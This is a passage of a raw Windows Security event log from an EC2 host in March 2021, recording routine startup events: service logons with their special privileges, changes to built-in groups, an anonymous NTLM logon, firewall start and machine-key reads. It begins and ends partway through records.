-TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245087 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: Administrators - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245086 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\Administrators - Account Domain: Builtin - Old Account Name: Administrators - New Account Name: Administrators - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245085 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245084 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Print Operators - Group Name: Print Operators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: Print Operators - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245083 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\Print Operators - Account Domain: Builtin - Old Account Name: Print Operators - New Account Name: Print Operators - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245082 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Print Operators - Group Name: Print Operators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245166 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x47c - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:16:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245165 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x47c - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:16:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245164 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:16:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245163 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2b0 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:16:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245174 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: No - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x1A78C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: NtLmSsp - Authentication Package: NTLM - Transited Services: - - Package Name (NTLM only): NTLM V1 - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:16:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245173 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:16:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245172 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2b0 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:16:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245171 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:16:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245170 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2b0 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:16:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245169 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:16:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245168 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2b0 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:16:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5033 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Other System Events -OpCode=Info -RecordNumber=245167 -Keywords=Audit Success -Message=The Windows Firewall Driver started successfully. -03/11/2021 11:16:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245177 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x44 - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:16:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245176 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x44 - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:16:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5024 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Other System Events -OpCode=Info -RecordNumber=245175 -Keywords=Audit Success -Message=The Windows Firewall service started successfully. -03/11/2021 11:16:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245180 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x44 - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:16:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245179 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:16:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245178 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2b0 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:16:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245182 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:16:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245181 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2b0 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:16:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5061 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=System Integrity -OpCode=Info -RecordNumber=245186 -Keywords=Audit Success -Message=Cryptographic operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: RSA - Key Name: TSSecKeySet1 - Key Type: Machine key. - -Cryptographic Operation: - Operation: Open Key. - Return Code: 0x0 -03/11/2021 11:16:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5058 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Other System Events -OpCode=Info -RecordNumber=245185 -Keywords=Audit Success -Message=Key file operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: UNKNOWN - Key Name: TSSecKeySet1 - Key Type: Machine key. - -Key File Operation Information: - File Path: C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\f686aace6942fb7f7ceb231212eef4a4_df39b6b4-63d4-40b3-b2d0-118f8f0b6015 - Operation: Read persisted key from file. - Return Code: 0x0 -03/11/2021 11:16:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5061 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=System Integrity -OpCode=Info -RecordNumber=245184 -Keywords=Audit Success -Message=Cryptographic operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: RSA - Key Name: TSSecKeySet1 - Key Type: Machine key. - -Cryptographic Operation: - Operation: Open Key. - Return Code: 0x0 -03/11/2021 11:16:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5058 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Other System Events -OpCode=Info -RecordNumber=245183 -Keywords=Audit Success -Message=Key file operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: UNKNOWN - Key Name: TSSecKeySet1 - Key Type: Machine key. - -Key File Operation Information: - File Path: C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\f686aace6942fb7f7ceb231212eef4a4_df39b6b4-63d4-40b3-b2d0-118f8f0b6015 - Operation: Read persisted key from file. - Return Code: 0x0 -03/11/2021 11:16:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245188 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:16:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245187 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2b0 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as 